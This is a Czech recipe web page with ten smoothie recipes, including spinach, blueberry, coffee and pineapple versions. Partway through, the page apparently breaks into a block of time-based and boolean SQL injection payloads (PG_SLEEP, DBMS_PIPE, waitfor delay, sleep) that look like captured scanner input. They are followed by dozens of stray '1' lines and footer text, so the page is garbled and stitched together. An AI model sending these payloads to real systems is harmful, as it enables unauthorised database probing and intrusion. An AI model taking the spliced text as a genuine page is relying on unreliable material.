Dnes velmi populární smoothie nápoje jsou již u několika z nás klasikou na snídani nebo svačinu. Inspirujte se těmito recepty na smoothie nápoje, které nastartují vaše tělo a dokonce i shodíte pár kilo.
1. Špenátové smoothie
Budeme potřebovat: 1 šálek voda, 1/2 šálku nakrájená okurka, 1 šálek mražené jahody, 1 ks banán, 1 ks jablko, 2 šálky špenátové listy, šťáva z poloviny citronu, led - nemusí být
Postup: Vše hodíme do mixéru a mixujeme, dokud nedostaneme hladkou hmotu, kterou podle potřeby rozředíme vodou. Chcete-li smoothie obohatit o více vitamínů, můžete přidat chia semínka nebo lněná semínka.
Zdroj: Thegreenforks
2. Borůvkové smoothie
Budeme potřebovat: 2 plátky ananas, 2 plátky meloun, 1 šálek kokosové mléko, špenát, borůvky, zelené jablko
Postup: vše nakrájíme na menší kousky, které vložíme do mixéru spolu s kokosovým mlékem, špenátem a borůvkami. Mixujeme do hladka a dle potřeby doplníme kokosovým mlékem. Pokud máte rádi hustší přidejte méně kokosového mléka.
Zdroj: Doctoroz
3. Kapustové smoothie se špenátem
Budeme potřebovat: 1 šálek sójové mléko (nebo obyčejné), 1 šálek špenátové listy, 1 šálek nasekaná kapusta, 1 ks banán, 1/2 ks jablko, 1 lžička med
Postup: vše rozmixujeme do jednotné hmoty a podle potřeby zalijeme mlékem. Chcete-li řidší nápoj, přidejte více mléka. Nejlepší je použít mražený banán, dodá smoothie lepší chuť a konzistenci.
Zdroj: Slenderkitchen
4. Ananasové smoothie
Budeme potřebovat: 1 šálek na kostičky nakrájený čerstvý ananas, 1/4 šálku zmrazený na kostičky nakrájený ananas, 1/2 šálku nízkotučný jogurt, 1/4 šálku voda, led - nemusí být
Postup: vše pomocí mixéru rozmixujeme na hladkou hmotu, kterou ještě můžete ochutit medem nebo jiným sladidlem.
Zdroj: Eatingwell
5. Mrkvové smoothie se špenátem
Budeme potřebovat: 1 šálek jablečný džus nebo šťáva, 1/4 šálku mrkvová šťáva nebo nastrouhaná mrkev, 1/4 šálku okurka nakrájená na kostičky, 3/4 šálku kapusta nastrouhaná na jemném struhadle, 3 hrsti špenátové listy, 1/4 šálku bílý jogurt, 1 lžička med, led - nemusí být
Postup: Můžete použít odšťavenou šťávu nebo celé jablko, mrkev, okurku. Pomocí mixéru rozmixujeme na jednotnou hmotu, kterou zředíme vodou, podle potřeby osladíme medem a podáváme.
Zdroj: Doctoroz
6. Kávové smoothie
Budeme potřebovat: 1 lžička instantní káva, 1 lžíce horká voda, 1 ks banán, 1/4 šálku mléko, 1 lžíce med, led a skořice dle potřeby
Postup: Všekto pomocí mixéru rozmixujeme a nalijeme do sklenice. Podle potřeby přidáme led a skořici.
Zdroj: Recipe
7. Špenátové smoothie s jahodami
Budeme potřebovat: 125 ml vanilkový jogurt, 500 ml voda, 1 ks banán, 1 sklenice (250 ml) nakrájené jahody, 2 sklenice špenátové listy, med podle chuti k oslazení
Postup: Vše pomocí mixéru rozmiujeme, ochutíme medem podle vlastní chuti a podáváme.
Zdroj: Besthealthmag
8. Jahodové smoothie s kešu oříšky
Budeme potřebovat: 1 šálek jahody, 1 šálek mléko, 3 lžíce ovesné vločky, 1 lžíce chia semínka, 1 lžíce kešu oříšky, 1 lžička jablečný ocet, 1 lžička citronová šťáva, 1/2 lžičky vanilková esence, stévie nebo med
Postup: pomocí kuchyňského mixéru rozmixujeme na jednotnou hmotu, kterou v misce ozdobíme kešu oříšky a nakrájenými jahodami.
Zdroj: Healthfulpursuit
9. Špenátové smoothie s arašídovým máslem
Budeme potřebovat: 1 ks banán, 2 šálky špenátové listy, 1 lžíce arašídové máslo, 3/4 šálek mandlové mléko, 1/2 šálku bílý řecký jogurt
Postup: všechny suroviny mixérem vymixujeme do jednotné hmoty, můžete přidat led a podáváme.
Zdroj: Skinnytaste
10. Ovocné smoothie s bílým jogurtem
Budeme potřebovat: 90 ml bílý jogurt, 1 lžíce mandlové máslo, 1/2 šálku mražené borůvky, 1/2 šálku mražený ananas, 1 šálek kapusta, 3/4 šálku voda
Postup: Mixér vymixujeme všechny suroviny do jednotné hmoty, kterou přelijeme do sklenice a podáváme. Dobrou chuť!
Zdroj: Shape
@@CSEn6
1'"
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1mvIYEvGq')) OR 506=(SELECT 506 FROM PG_SLEEP(15))--
1k7YDL46y') OR 199=(SELECT 199 FROM PG_SLEEP(15))--
1L8O5wWjW' OR 959=(SELECT 959 FROM PG_SLEEP(15))--
1-1)) OR 189=(SELECT 189 FROM PG_SLEEP(15))--
1-1) OR 70=(SELECT 70 FROM PG_SLEEP(15))--
1-1 OR 36=(SELECT 36 FROM PG_SLEEP(15))--
1nHL7bZwN'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 2+632-632-1=0+0+0+1 --
-1' OR 2+107-107-1=0+0+0+1 or 'f9Um3A8N'='
-1' OR 2+962-962-1=0+0+0+1 --
-1 OR 2+660-660-1=0+0+0+1
-1 OR 2+193-193-1=0+0+0+1 --
1
1Mns6UnDq
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Každý den tipy na chutný chod pro celou rodinu
Krátké video ochutnávky, kterým neodoláte
Vybírejte z nejlepších receptů na jednom místě
1